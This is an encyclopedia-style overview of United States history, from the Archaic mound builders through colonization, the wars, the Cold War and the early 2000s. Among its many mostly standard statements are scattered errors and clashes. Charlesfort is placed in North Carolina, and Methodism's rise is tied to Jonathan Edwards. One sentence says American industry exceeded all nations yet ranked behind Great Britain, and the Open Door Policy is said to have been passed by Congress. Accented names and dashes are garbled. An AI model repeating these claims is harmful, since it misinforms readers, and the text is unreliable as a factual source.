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          Mound Builder is a general term referring to the American Indians who constructed various styles of earthen mounds for burial, residential and ceremonial purposes. These included Archaic, Woodland period (Adena and Hopewell cultures), and Mississippian period Pre-Columbian cultures dating from roughly 3000 BC to the 16th century AD, and living in the Great Lakes region, the Ohio River region, and the Mississippi River region.


          Mound builder cultures can be divided into roughly three eras:


          
            	Archaic era

          


          Poverty Point in what is now Louisiana is a prominent example of early archaic mound builder construction (c. 2500 BC - 1000 BC). While earlier Archaic mound centers are known, Poverty Point remains one of the best-known early examples.


          
            	Woodland period

          


          The Archaic period was followed by the Woodland period (c. 1000 BC). Some well-understood examples would be the Adena culture of Ohio and nearby states and the subsequent Hopewell culture known from Illinois to Ohio and renowned for their geometric earthworks. The Adena and Hopewell were not, however, the only mound building peoples during this time period. There were contemporaneous mound building cultures throughout the Eastern United States.


          
            	Mississippian culture

          


          Around 9001450 AD the Mississippian culture developed and spread through the Eastern United States, primarily along the river valleys. The location where the Mississippian culture is first clearly developed is located in Illinois, and is referred to today as Cahokia.


          


          Colonial period


          After a period of exploration by people from various European countries, Dutch, Spanish, English, French, Swedish, and Portuguese settlements were established. Christopher Columbus was the first European to set foot on what would one day become U.S. territory when he came to Puerto Rico on November 19, 1493, during his second voyage. In the 15th century, Europeans brought horses, cattle, and hogs to the Americas and, in turn, took back to Europe corn, potatoes, tobacco, beans, and squash.


          


          Spanish colonization
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          Spanish explorers came to what is now the United States beginning with Christopher Columbus' second expedition, which reached Puerto Rico on November 19, 1493. The first confirmed landing in the continental US was by a Spaniard, Juan Ponce de Len, who landed in 1513 on a lush shore he christened La Florida.


          Within three decades of Ponce de Len's landing, the Spanish became the first Europeans to reach the Appalachian Mountains, the Mississippi River, the Grand Canyon and the Great Plains. In 1540, De Soto undertook an extensive exploration of the present US and, in the same year, Francisco Vzquez de Coronado led 2,000 Spaniards and Mexican Indians across the modern Arizona-Mexico border and traveled as far as central Kansas. Other Spanish explorers include Lucas Vsquez de Aylln, Pnfilo de Narvez, Sebastin Vizcano, Juan Rodrguez Cabrillo, Gaspar de Portol, Pedro Menndez de Avils, lvar Nez Cabeza de Vaca, Tristn de Luna y Arellano and Juan de Oate.


          The Spanish sent some settlers, creating the first permanent European settlement in the continental United States at St. Augustine, Florida in 1565. Later Spanish settlements included Santa Fe, San Antonio, Tucson, San Diego, Los Angeles and San Francisco. Most Spanish settlements were along the California coast or the Santa Fe River in New Mexico.


          


          French colonization


          New France was the area colonized by France in North America during a period extending from the exploration of the Saint Lawrence River, by Jacques Cartier in 1534, to the cession of New France to Spain and Britain in 1763. At its peak in 1712 (before the Treaty of Utrecht), the territory of New France extended from Newfoundland to the Rocky Mountains and from Hudson Bay to the Gulf of Mexico. The territory was divided in five colonies, each with its own administration: Canada, Acadia, Hudson Bay, Newfoundland and Louisiana.


          Also during this period, French Huguenots, sailing under Jean Ribault, attempted to found a colony in what became the southeastern coast of the United States. Arriving in 1562, they established the ephemeral colony of Charlesfort on Parris Island in what is now North Carolina. When this failed most of the colonists followed Ren Goulaine de Laudonnire and moved south, founding the colony of Fort Caroline at the mouth of the St. Johns River in what is now Jacksonville, Florida on June 22, 1564. Fort Caroline was destroyed in 1565 by the Spanish under Pedro Menndez de Avils, who moved in from St. Augustine, founded to the south earlier in the year.


          


          British colonization
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          The strip of land along the eastern seacoast was settled primarily by English colonists in the 17th century, along with much smaller numbers of Dutch and Swedes. Colonial America was defined by a severe labor shortage that gave birth to forms of unfree labor such as slavery and indentured servitude, and by a British policy of benign neglect ( salutary neglect) that permitted the development of an American spirit distinct from that of its European founders.


          The first successful English colony was established in 1607, on the James River at Jamestown. It languished for decades until a new wave of settlers arrived in the late 17th century and established commercial agriculture based on tobacco. Between the late 1610s and the Revolution, the British shipped an estimated 50,000 convicts to its American colonies. One example of conflict between Native Americans and English settlers was the 1622 Powhatan uprising in Virginia, in which Native Americans had killed hundreds of English settlers. The largest conflict between Native Americans and English settlers in the 17th century was King Philip's War in New England.


          The Plymouth Colony was established in 1620. The area of New England was initially settled primarily by Puritans who established the Massachusetts Bay Colony in 1630. The Middle Colonies, consisting of the present-day states of New York, New Jersey, Pennsylvania, and Delaware, were characterized by a large degree of diversity. The first attempted English settlement south of Virginia was the Province of Carolina, with Georgia Colony the last of the Thirteen Colonies established in 1733. Several colonies were used as penal settlements from the 1620s until the American Revolution. Methodism became the prevalent religion among colonial citizens after the First Great Awakening, a religious revival led by preacher Jonathan Edwards in 1734.


          


          Formation of the United States of America (17761789)
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          The Thirteen Colonies began a rebellion against British rule in 1775 and proclaimed their independence in 1776. They subsequently constituted the first thirteen states of the United States of America, which became a nation in 1781 with the ratification of the Articles of Confederation. The 1783 Treaty of Paris represented Great Britain's formal acknowledgement of the United States as an independent nation.


          The United States defeated the Kingdom of Great Britain with help from France and Spain in the American Revolutionary War. The colonists' victory at Saratoga in 1777 led the French into an open alliance with the United States. In 1781, a combined American and French Army, acting with the support of a French fleet, captured a large British army led by General Charles Cornwallis at Yorktown, Virginia. The surrender of General Cornwallis ended serious British efforts to find a military solution to their American problem. Seymour Martin Lipset points out that "The United States was the first major colony successfully to revolt against colonial rule. In this sense, it was the first 'new nation'."
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          Side by side with the states' efforts to gain independence through armed resistance, a political union was being developed and agreed upon by them. The first step was to formally declare independence from Great Britain. On July 4, 1776, the Second Continental Congress, still meeting in Philadelphia, declared the independence of "the United States of America" in the Declaration of Independence. Although the states were still independent entities and not yet formally bound in a legal union, July 4 is celebrated as the nation's birthday. The new nation was dedicated to principles of republicanism, which emphasized civic duty and a fear of corruption and hereditary aristocracy.


          The Continental Congress that convened on September 5, 1774 played an important coordinating role among the thirteen colonies in dealing with Great Britain, including the American Revolutionary War from 1775. A constitutional government, the Congress of the Confederation first became possible with the ratification of the Articles of Confederation and Perpetual Union on March 1, 1781. Samuel Huntington became the first President of the United States in Congress Assembled. However, it became apparent early on that the new constitution was inadequate for the operation of the new government and efforts soon began to improve upon it.
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          A series of attempts to organize a movement to outline and press reforms culminated in the Congress calling the Philadelphia Convention in 1787. The structure of the national government was profoundly changed on March 4, 1789, when the American people replaced the Articles with the Constitution. The new government reflected a radical break from the normative governmental structures of the time, favoring representative, elective government with a weak executive, rather than the existing monarchical structures common within the western traditions of the time. The system of republicanism borrowed heavily from the Enlightenment ideas and classical western philosophy: a primacy was placed upon individual liberty and upon constraining the power of government through a system of separation of powers. Additionally, the United States Bill of Rights was ratified on December 15, 1791 to guarantee individual liberties such as freedom of speech and religious practice and consisted of the first ten amendments of the Constitution. John Jay was the first Chief Justice of the Supreme Court, whose membership was established by the Judiciary Act of 1789; the first Supreme Court session was held in New York City on February 1, 1790. In 1803, the Court case Marbury v. Madison made the Court the sole arbiter of constitutionality of federal law.


          


          Westward expansion (17891849)
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          George Washingtona renowned hero of the American Revolutionary War, commander in chief of the Continental Army, and president of the Constitutional Conventionbecame the first President of the United States under the new U.S. Constitution. The Whiskey Rebellion in 1794, when settlers in the Pennsylvania counties west of the Allegheny Mountains protested against a federal tax on liquor and distilled drinks, was the first serious test of the federal government. He announced his resignation from the presidency in his farewell address, which was published in the newspaper Independent Chronicle on September 26, 1796. In his address, Washington triumphed the benefits of federal government and importance of religion and morality while warning against foreign alliances and formation of political parties. His vice president John Adams succeeded him in presidency; Adams was a member of the Federalist Party. However, the Federalists became divided after Adams sent a peace mission to France despite ongoing disputes with that nation. Thomas Jefferson, a Republican, defeated Adams for the presidency in the 1800 election.


          The Louisiana Purchase, in 1803, removed the French presence from the western border of the United States and provided U.S. settlers with vast potential for expansion west of the Mississippi River. In response to continued British impressment of American sailors into the British Navy, president James Madison declared war on Britain in 1812. Slave importation from Africa became illegal beginning in 1808, despite a growing plantation system in many southern states such as North Carolina and Georgia. The United States and Britain came to a draw in the War of 1812 after bitter fighting that lasted until January 8, 1815, during the Battle of New Orleans. The Treaty of Ghent, officially ending the war, essentially resulted in the maintenance of the status quo ante bellum; however, crucially for the U.S., some Native American tribes had to sign treaties with the U.S. government in response to their losses in the war. During the later course of the war, the Federalists held the Hartford Convention in 1814 over concerns that the war would weaken New England. There, they proposed seven constitutional amendments meant to strengthen the region politically, but once the Federalists delivered them to Washington, D.C., the recent American victories in New Orleans and the signing of the Treaty of Ghent undermined the Federalists' arguments and contributed to the downfall of the party.


          The Monroe Doctrine, expressed in 1823, proclaimed the United States' opinion that European powers should no longer colonize or interfere in the Americas. This was a defining moment in the foreign policy of the United States. The Monroe Doctrine was adopted in response to American and British fears over Russian and French expansion into areas of the Western Hemisphere. It was not until the Presidential Administration of Teddy Roosevelt that the Monroe Doctrine became a central tenet of American foreign policy. The Monroe Doctrine was then invoked in the Spanish-American War as well as later in the proxy wars between the United States and Soviet Union in Central America and has also essentially given developing nations in the Americas support from the United States and warned the powers in Europe to steer clear of far western affairs.


          In 1830, Congress passed the Indian Removal Act, which authorized the president to negotiate treaties that exchanged Indian tribal lands in the eastern states for lands west of the Mississippi River. This established Andrew Jackson, a military hero and President, as a cunning tyrant in regards to native populations. The act resulted most notably in the forced migration of several native tribes to the West, with several thousand Indians dying en route, and the Creeks' violent opposition and eventual defeat. The Indian Removal Act also directly caused the ceding of Spanish Florida and subsequently led to the many Seminole Wars.


          In its mission to end slavery, the abolitionist movement also gained a larger following of participants from both black and white races. The American Anti-Slavery Society was politically active from 1833 to 1839 for the government to abolish slavery, but Congress imposed a " gag rule" that rejected any citizen's request against slavery. William Lloyd Garrison, formerly associated with the Society, then began publication of the anti-slavery newspaper The Liberator in Boston, Massachusetts in 1831, and Frederick Douglass, a black ex-slave, began writing for that newspaper around 1840 and started his own abolitionist newspaper North Star in 1847.


          The Republic of Texas was annexed by president John Tyler in 1845. The U.S., using regulars and large numbers of volunteers, defeated Mexico in 1848 during the Mexican-American War. Public sentiment in the U.S. was divided as Whigs and anti-slavery forces opposed the war. The 1848 Treaty of Guadalupe Hidalgo ceded California, New Mexico, and adjacent areas to the United States, which composed about thirty percent of former Mexican land. Westward expansion was enhanced further by the California Gold Rush following the discovery of gold in that state in 1848. Numerous " forty-niners" trekked to California in pursuit of gold; land-demanding European immigrants also contributed to the rising Western population.


          


          Civil War era (18491865)
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          In the middle of the 19th century, white Americans of the North and South were unable to reconcile fundamental differences in their approach to government, economics, society and African American slavery. The issue of slavery in the new territories was settled by the Compromise of 1850 brokered by Whig Henry Clay and Democrat Stephen Douglas; the Compromise included admission of California as a free state and the passage of the Fugitive Slave Act to make it easier for masters to reclaim runaway slaves. In 1854, the proposed Kansas-Nebraska Act abrogated the Missouri Compromise by providing that each new state of the Union would decide its stance on slavery. After Abraham Lincoln won the 1860 Election, eleven Southern states seceded from the union between late 1860 and 1861, establishing a rebel government, the Confederate States of America, on February 8, 1861.


          By 1860, there had been nearly four million slaves residing in the United States, nearly eight times as many from 1790; within the same time period cotton production in the U.S. boomed from one thousand to nearly one million per year. There were some slave rebellions - including by Gabriel Prosser (1800), Denmark Vesey (1822), and Nat Turner (1831) - but they all failed and led to tighter slave oversight in the south. White abolitionist John Brown tried and failed to free a group of black slaves held in Harpers Ferry, Virginia and was therefore executed for his actions. Harriet Beecher Stowe, daughter of minister Lyman Beecher, published her novel Uncle Tom's Cabin in 1852 in response to the passage of the Fugitive Slave Act. The novel intended to express her views of the cruelty of slavery and sold nearly 300,000 copies during its first year of publication. Numerous slaves also escaped their masters through the Underground Railroad, a term defining secret routes where abolitionists confidentially transported runaway slaves to "free state" territory; its most famous leader was Harriet Tubman.
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          The Civil War began when Confederate General Pierre Beauregard opened fire upon Fort Sumter, in the Confederate state of South Carolina. Along with the northwestern portion of Virginia, four of the five northernmost "slave states" did not secede and became known as the Border States. Emboldened by Second Bull Run, the Confederacy made its first invasion of the North when General Robert E. Lee led 55,000 men of the Army of Northern Virginia across the Potomac River into Maryland. The Battle of Antietam near Sharpsburg, Maryland, on September 17, 1862, was the bloodiest single day in American history. At the beginning of 1864, Lincoln made General Ulysses S. Grant commander of all Union armies. General William Tecumseh Sherman marched from Chattanooga, Tennessee, to Atlanta, Georgia, defeating Confederate Generals Joseph E. Johnston and John Bell Hood. Sherman's army laid waste to about 20% of the farms in Georgia in his " March to the Sea", and reached the Atlantic Ocean at Savannah in December 1864. Lee surrendered his Army of Northern Virginia on April 9, 1865, at Appomattox Court House. Based on 1860 census figures, 8% of all white males aged 13 to 43 died in the war, including 6% in the North and an extraordinary 18% in the South.


          


          Reconstruction and the rise of industrialization (18651890)
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          Reconstruction took place for most of the decade following the Civil War. During this era, the " Reconstruction Amendments" were passed to expand civil rights for black Americans. Those amendments included the Thirteenth Amendment, which outlawed slavery, the Fourteenth Amendment that guaranteed citizenship for all people born or naturalized within U.S. territory, and the Fifteenth Amendment that granted the vote for all men regardless of race. While the Civil Rights Act of 1875 forbade discrimination in the service of public facilities, the Black Codes denied blacks certain privileges readily available to whites. In response to Reconstruction, the Ku Klux Klan (KKK) emerged around the late 1860s as a white-supremacist organization opposed to black civil rights. Increasing hate-motivated violence from groups like the Klan influenced both the Ku Klux Klan Act of 1870 that classified the KKK as a terrorist group and an 1883 Supreme Court decision nullifying the Civil Rights Act of 1875; however, in the Supreme Court case United States v. Cruikshank the Court interpreted the Fourteenth Amendment as regulating only states' decisions regarding civil rights. The case defeated any protection of blacks from terrorist attacks, as did the later case United States v. Harris. During the era, many regions of the southern U.S. were military-governed and often corrupt; Reconstruction ended after the disputed 1876 election between Republican candidate Rutherford B. Hayes and Democratic candidate Samuel J. Tilden. Hayes won the election, and the South soon re-entered the national political scene.


          Following was the Gilded Age, a term that author Mark Twain used to describe the period of the late nineteenth century when there had been a dramatic expansion of American industry. Reform of the Age included the Civil Service Act, which mandated a competitive examination for applicants for government jobs. Other important legislation included the Interstate Commerce Act, which ended railroads' discrimination against small shippers, and the Sherman Antitrust Act, which outlawed monopolies in business. Twain believed that this age was corrupted by such elements as land speculators, scandalous politics, and unethical business practices. By century's end, American industrial production and per capita income exceeded those of all other world nations and ranked only behind Great Britain. In response to heavy debts and decreasing farm prices, farmers joined the Populist Party. Later, an unprecedented wave of immigration served both to provide the labor for American industry and create diverse communities in previously undeveloped areas. Abusive industrial practices led to the often violent rise of the labor movement in the United States. Influential figures of the period included John D. Rockefeller and Andrew Carnegie.


          


          Progressivism, imperialism, and World War I (18901918)


          After the Gilded Age came the Progressive Era, whose followers called for reform over perceived industrial corruption. Viewpoints taken by progressives included greater federal regulation of anti-trust laws and the industries of meat-packing, drugs, and railroads. Four new constitutional amendmentsthe Sixteenth through Nineteenthresulted from progressive activism. The era lasted from 1900 to 1918, the year marking the end of World War I.


          U.S. Federal government policy, since the James Monroe Administration, had been to move the indigenous population beyond the reach of the white frontier into a series of Indian reservations. Tribes were generally forced onto small reservations as Caucasian farmers and ranchers took over their lands. In 1876, the last major Sioux war erupted when the Black Hills Gold Rush penetrated their territory.
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          The United States began its rise to international power in this period with substantial population and industrial growth domestically and numerous military ventures abroad, including the Spanish-American War, which began when the United States blamed the sinking of the USS Maine (ACR-1) on Spain. Also at stake were U.S. interests in acquiring Cuba, an island nation fighting for independence from Spanish occupation; Puerto Rico and the Philippines were also two former Spanish colonies seeking liberation. In December 1898, representatives of Spain and the U.S. signed the Treaty of Paris to end the war, with Cuba becoming an independent nation and Puerto Rico, Guam, and the Philippines becoming U.S. territories. In 1900, Congress passed the Open Door Policy that at the time required China to grant equal trading access to all foreign nations.


          President Woodrow Wilson declared U.S. entry into World War I in April 1917 following a yearlong neutrality policy; the U.S. had previously shown interest in world peace by participating in the Hague Conferences. American participation in the war proved essential to the Allied victory. Wilson also implemented a set of propositions titled the Fourteen Points to ensure peace, but they were denied at the 1919 Paris Peace Conference. Isolationist sentiment following the war also blocked the U.S. from participating in the League of Nations, an important part of the Treaty of Versailles.


          


          Post-World War I and the Great Depression (19181940)


          Following World War I, the U.S. grew steadily in stature as an economic and military world power. The United States Senate did not ratify the Treaty of Versailles imposed by its Allies on the defeated Central Powers; instead, the United States chose to pursue unilateralism, if not isolationism. The aftershock of Russia's October Revolution resulted in real fears of communism in the United States, leading to a three-year Red Scare and the U.S. lost 675,000 people to the Spanish flu pandemic in 1918.
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          In 1920, the manufacture, sale, import and export of alcohol was prohibited by the Eighteenth Amendment to the United States Constitution. Prohibition encouraged illegal breweries and dealers to make substantial amounts of money selling alcohol illegally. The Prohibition ended in 1933, a failure. Additionally, the KKK reformed during that decade and gathered nearly 4.5 million members by 1924, and the U.S. government passed the Immigration Act of 1924 restricting foreign immigration. The 1920s, was also known as the Roaring Twenties, due to the great economic prosperity during this period. Jazz became popular among the younger generation, and therefore, it was also called the Jazz Age.


          During most of the 1920s, the United States enjoyed a period of unbalanced prosperity: farm prices and wages fell, while new industries, and industrial profits grew. The boom was fueled by a rise in debt and an inflated stock market. The Hawley-Smoot Tariff, the Wall Street Crash of 1929, the Dust Bowl, and the ensuing Great Depression led to government efforts to restart the economy and help its victims with Franklin D. Roosevelt's New Deal. The recovery was rapid in all areas except unemployment, which remained fairly high until 1940.


          


          World War II (19401945)


          As with World War I, the United States did not enter World War II until after the rest of the active Allied countries had done so. The United States's first contribution to the war was simultaneously to cut off the oil and raw material supplies desperately needed by Japan to maintain its offensive in Manchuria, and to increase military and financial aid to China. Its first contribution to the Allies came in September 1940 in the form of the Lend-Lease program with Britain.


          On December 7, 1941 Japan launched a surprise attack on the American naval base in Pearl Harbour, citing America's recent trade embargo as justification. The following day, Franklin D. Roosevelt successfully urged a joint session of Congress to declare war on Japan, calling December 7, 1941 "a date which will live in infamy". Four days after the attack on Pearl Harbour, on December 11, Nazi Germany declared war on the United States, drawing the country into a two-theatre war.


          


          Battle against Germany


          Upon entering the war, the United States and its allies decided to concentrate the bulk of their efforts on fighting Hitler in Europe, while maintaining a defensive position in the Pacific until Hitler was defeated. The United States's first step was to set up a large airforce in Britain to concentrate on bombing raids into Germany itself. The American Air force relied on the B-17 Flying Fortress as its primary heavy bomber. Britain had ceased its daylight bombing raids, due to heavy casualties inflicted by the Luftwaffe. The USAAF suffered similar high losses until the introduction of the P-51 Mustang as a long range escort fighter for the bombers.
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          The American army's first ground action was fighting alongside the British and Australian armies in North Africa. By May 1943, the British 8th Army had expelled the Germans from North Africa and the Allies controlled this vital link until the end of the war. The American navy also played an active role in the Atlantic protecting the convoys bringing vital American war material to Britain. By midway through 1943, the Allies were fighting the war from Britain with unbroken supply lines, while at the same time Hitler's armies were very much on the back foot, with heavy bombing taking its toll on production.


          By early 1944, a planned invasion of Western Europe was underway. What followed on June 6, 1944, was Operation Overlord, or D-Day. The largest war armada ever assembled landed on the beaches of Normandy and began the penetration of Western Europe that eventually overthrew Hitler and Nazi Germany. Following the landing at Normandy, the Americans contributed greatly to the outcome of the war, with dogged fighting in the Battle of the Ardennes and the Battle of the Bulge resulting in Allied victories against the Germans. The battles took a heavy toll on the Americans, who lost 19,000 men during the Battle of the Bulge alone. The allied bombing raids on Germany increased to unprecedented levels after the D-Day invasion, with over 70% of all bombs dropped on Germany occurring after this date. On April 30, 1945, with Berlin completely overrun with Russian forces and his country in tatters, Adolf Hitler committed suicide. On May 8, 1945, the war with Germany was over, following its unconditional surrender to the Allied forces.


          


          Battle against Japan


          Due to the United States commitment to defeating Hitler in Europe, the first years of the war against Japan was largely a defensive battle with the United States Navy attempting to prevent the Japanese Navy from asserting dominance of the Pacific region. Initially, Japan won the majority of its battles in a short period of time. Japan quickly defeated and created military bases in Guam, Thailand, Malaya, Hong Kong, Papua New Guinea, Indonesia and Burma. This was done virtually unopposed and with quicker speed than that of the German Blitzkrieg during the early stages of the war. This was important for Japan, as it had only 10% of the homeland industrial production capacity of the United States.
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          The turning point of the war was the Battle of Midway in June 1942. Following this, the Americans began fighting towards China where they could build an airbase suitable to commence bombing of mainland Japan with its B-29 Superfortress fleet. The Americans began by selecting smaller, lesser defended islands as targets as opposed to attacking the major Japanese strongholds. During this period, they inadvertently triggered what would become their most comprehensive victory in the entire war.


          The Pacific war became the largest naval conflict in history. The American Navy emerged victorious after at one point being stretched to almost breaking point with almost complete destruction of the Japanese Navy. The American forces were then poised for an invasion of the Japanese mainland, to force the Japanese into unconditional surrender. On April 12, 1945, President Franklin Delano Roosevelt died and Vice President Harry S. Truman was sworn in as the 33rd President of the United States. The decision to use nuclear weapons to end the conflict has been one of the most controversial decisions of the war. Supporters of the use of the bombs argue that an invasion would have cost enormous numbers of lives, while opponents argue that the large number of civilian casualties resulting from the bombings were still unjustified. The first bomb was dropped on Hiroshima on August 6, 1945, and the second bomb was dropped on Nagasaki on August 9. On August 15, 1945, the Japanese surrendered unconditionally.


          


          Cold War beginnings and the Civil Rights Movement (19451964)
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          Following World War II, the United States emerged as one of the two dominant superpowers. The U.S. Senate, on December 4, 1945, approved U.S. participation in the United Nations (UN), which marked a turn away from the traditional isolationism of the U.S. and toward more international involvement. The post-war era in the United States was defined internationally by the beginning of the Cold War, in which the United States and the Soviet Union attempted to expand their influence at the expense of the other, checked by each side's massive nuclear arsenal and the doctrine of mutual assured destruction. The result was a series of conflicts during this period including the Korean War and the tense nuclear showdown of the Cuban Missile Crisis. Within the United States, the Cold War prompted concerns about Communist influence, and also resulted in government efforts to encourage math and science toward efforts like the space race.


          In the decades after World War II, the United States became a global influence in economic, political, military, cultural and technological affairs. At the centre of middle-class culture since the 1950s has been a growing obsession with consumer goods.


          John F. Kennedy was elected President in 1960. Known for his charisma, he is so far the only Roman Catholic to be President. The Kennedy's brought a new life and vigor to the atmosphere of the White House. During his time in office, the Cold War reached its height with the Cuban Missile Crisis in 1962. He was assassinated in Dallas, Texas, on November 22, 1963.


          Meanwhile, the American people completed their great migration from the farms into the cities and experienced a period of sustained economic expansion. At the same time, institutionalized racism across the United States, but especially in the American South, was increasingly challenged by the growing Civil Rights movement and African American leaders such as Martin Luther King, Jr. During the 1960s, the Jim Crow laws that legalized racial segregation between Whites and Blacks came to an end.


          


          Cold War (19641980)
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          The Cold War continued through the 1960s and 1970s, and the United States entered the Vietnam War, whose growing unpopularity fed already existing social movements, including those among women, minorities and young people. President Lyndon Johnson's Great Society social programs and the judicial activism of the Warren Court added to the wide range of social reform during the 1960s and 1970s. Feminism and the environmental movement became political forces, and progress continued toward civil rights for all Americans. The Counterculture Revolution swept through the nation and much of the western world in the late sixties, dividing the already hostile environment but also bringing forth more liberated social views.


          In the early 1970s, Johnson's successor, President Richard Nixon was forced by Congress to bring the Vietnam War to a close, and the American-backed South Vietnamese government subsequently collapsed. The war had cost the lives of 58,000 American troops and millions of Vietnamese. The OPEC oil embargo and slowing economic growth led to a period of stagflation. Nixon's own administration was brought to an ignominious close with the political scandal of Watergate.


          


          End of the Cold War (19801991)
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          Ronald Reagan produced a major realignment with his 1980 and 1984 landslides. In 1980, the Reagan coalition was possible because of Democratic losses in most social-economic groups. " Reagan Democrats" were those who usually voted Democratic, but were attracted by Reagan's policies, personality and leadership, notably his social conservatism and hawkish foreign policy. Widely regarded as a hard-line conservative, Reagan downsized government taxation, spending, and regulation. Early during the Reagan administration, unemployment and business failures soon entered rates close to Depression-era levels; by 1982, the unemployment rate was 9.7 percent, and nearly 17,000 businesses failed. Gigantic budget deficits prevented any implementation of social programs. These trends reversed around 1983, when the inflation rate decreased from 11 to 2 percent, the unemployment rate decreased to 7.5 percent, and the economic growth rate increased from 4.5 to 7.2 percent.


          In 1986, the Iran-Contra affair began after Reagan sold arms to Iran for the nation to free American hostages that it was holding to fund the Contras, although one of the Boland Amendments signed by Reagan in 1984 prohibited the U.S. government from offering any assistance to them. Hearings on the issue were held in early 1987, ending with the convictions of such figures as Oliver North and John Poindexter.


          Reagan took a hard line against the Soviet Union, teaming up with friend and ally Margaret Thatcher, the British premier, against the " Evil Empire". However, he succeeded in growing the military budget and launching a costly and complicated missile defense system called the Strategic Defense Initiative (dubbed "Star Wars"), hoping to intimidate the Soviets. Though it was never fully developed or deployed, the research and technologies of SDI paved the way for some anti-ballistic missile systems of today. Gorbachev tried to save Communism in Russia first by ending the expensive arms race with America, then in 1989 by shedding the East European empire. Communism finally collapsed in Russia in 1991, ending the US-Soviet Cold War.
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          After the fall of the Soviet Union, the United States emerged as the world's sole remaining superpower and continued to involve itself in military action overseas, including the 1991 Gulf War. Following his election in 1992, President Bill Clinton oversaw unprecedented gains in securities values, a side effect of the digital revolution and new business opportunities created by the Internet (see Internet bubble). The 1990s, saw one of the longest periods, of economic expansion. Under Clinton an attempt to universalize health care, led by First Lady Hillary Rodham Clinton failed after almost two years of work on the controversial plan.


          In 1993, Ramzi Yousef, a Kuwaiti national, planted explosives in the underground garage of One World Trade Centre and detonated them, killing six people and injuring thousands, in what would become the beginning of an age of terrorism. Yousef would be subsequently captured. In 1995, a domestic terrorist bombing at the federal building in Oklahoma City killed 168 people.


          During the 1990s, the United States and allied nations found themselves under attack from Islamist terrorist groups, chiefly Al-Qaida. The regime of Saddam Hussein in Iraq proved a continuing problem for the UN and Iraqs neighbors in its refusal to account for previously known stockpiles of chemical and biological weapons, its violations of UN resolutions, and its support for terrorism against Israel and other countries. After the 1991 Gulf War, the US, French, and British militaries began patrolling the Iraqi no-fly zones to protect Iraqs Kurdish minority and Shiite Arab population  both of which suffered attacks from the Hussein regime before and after the 1991 Gulf War  in Iraqs northern and southern regions, respectively. In the aftermath of Operation Desert Fox during December 1998, Iraq announced that it would no longer respect the no-fly zones and resumed its efforts in shooting down Allied aircraft.


          The 1993 World Trade Centre bombing by Al-Qaida was the first of many terrorist attacks upon Americans during the same period. Later that year in the Battle of Mogadishu, Al-Qaida militants took part in an assault upon US forces in Somalia, killing 19 Marines. President Clinton subsequently withdrew US combat forces from Somalia (there originally to support UN relief efforts), a move described by Al-Qaida leader Osama bin Laden as evidence of American weakness. These attacks were followed by others including the 1996 Khobar Towers bombing in Saudi Arabia, and the 1998 United States embassy bombings in Tanzania and Kenya. Next came the 2000 millennium attack plots which included an attempted bombing of Los Angeles International Airport, followed by the USS Cole bombing in Yemen in October 2000, which the government associated with Osama bin Laden's al-Qaeda terrorist network.


          US responses to these attacks included limited Cruise missile strikes on Afghanistan and Sudan (August 1998), which failed to stop Al-Qaidas leaders and their Taliban supporters. Also in 1998, President Clinton signed the Iraq Liberation Act which called for regime change in Iraq on the basis of Saddam Husseins possession of weapons of mass destruction, oppression of Iraqi citizens and attacks upon other Middle Eastern countries.


          In 1998, Clinton was impeached for charges of perjury and obstruction of justice that arose from an inappropriate sexual relationship with White House intern Monica Lewinsky and a sexual harassment lawsuit from Paula Jones. He was the second president to have been impeached. The House of Representatives voted 228 to 206 on December 19 to impeach Clinton, but on February 12, 1999, the Senate voted 55 to 45 to acquit Clinton of the charges.


          The presidential election in 2000 between George W. Bush (R) and Al Gore (D) was one of the closest in the U.S. history, and helped lay the seeds for political polarization to come. Although Bush won the majority of electoral votes, Gore won the majority of the popular vote. In the days following Election Day, the state of Florida entered dispute over the counting of votes due to technical issues over certain Democratic votes in some counties. The Supreme Court case Bush v. Gore was decided on December 12, 2000, ending the recount with a 5-4 vote and certifying Bush as president.
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          At the beginning of the new millennium, the United States found itself attacked by Islamic terrorism, with the September 11, 2001 attacks in which 19 extremists hijacked four transcontinental airliners and intentionally crashed two of them into the twin towers of the World Trade Centre and one into the Pentagon. The passengers on the fourth plane, United Airlines Flight 93, revolted causing the plane to crash into a field in Somerset County, PA. According to the 9/11 Commission Report, that plane was intended to hit the US Capitol Building in Washington. The twin towers of the World Trade Centre collapsed, destroying the entire complex. The United States soon found large amounts of evidence that suggested that a terrorist group, al-Qaeda, spearheaded by Osama bin Laden, was responsible for the attacks.


          In response to the attacks, under the administration of President George W. Bush, the United States (with the military support of NATO and the political support of some of the international community) launched Operation Enduring Freedom which overthrew the Taliban regime which had protected and harbored bin Laden and al-Qaeda. With the support of large bipartisan majorities, the US Congress passed the Authorization for Use of Military Force Against Iraq Resolution of 2002. With a coalition of other countries including Britain, Spain, Australia, Japan and Poland, in March 2003 President Bush ordered an invasion of Iraq dubbed Operation Iraqi Freedom which led to the overthrow and capture of Saddam Hussein. Using the language of 1998 Iraq Liberation Act and the Clinton Administration, the reasons cited by the Bush administration for the invasion included the spreading of democracy, the elimination of weapons of mass destruction (a key demand of the UN as well, though later investigations found parts of the intelligence reports to be inaccurate) and the liberation of the Iraqi people. This second invasion fueled protest marches in many parts of the world.


          In August 2005, Hurricane Katrina flooded parts of the city of New Orleans and heavily damaged other areas of the gulf coast, including major damage to the Mississippi coast. The preparation and the response of the government were criticized as ineffective and slow.


          By 2006, rising prices saw Americans become increasingly conscious of the nation's extreme dependence on steady supplies of inexpensive petroleum for energy, with President Bush admitting a U.S. "addiction" to oil. The possibility of serious economic disruption, should conflict overseas or declining production interrupt the flow, could not be ignored, given the instability in the Middle East and other oil-producing regions of the world. Many proposals and pilot projects for replacement energy sources, from ethanol to wind power and solar power, received more capital funding and were pursued more seriously in the 2000s than in previous decades. The 2006 midterm elections saw Congresswoman Nancy Pelosi become Speaker of the United States House of Representatives and the highest ranking woman in the history of the U.S. government.


          In addition to military efforts abroad, in the aftermath of 9/11 the Bush Administration increased domestic efforts to prevent future attacks. A new cabinet level agency called the United States Department of Homeland Security was created to lead and coordinate federal counterterrorism activities. The USA PATRIOT Act removed legal restrictions on information sharing between federal law enforcement and intelligence services and allowed for the investigation of suspected terrorists using means similar to those in place for other types of criminals. A new Terrorist Finance Tracking Program monitored the movements of terrorists financial resources but was discontinued after being revealed by The New York Times. Telecommunication usage by known and suspected terrorists was studied through the NSA electronic surveillance program.


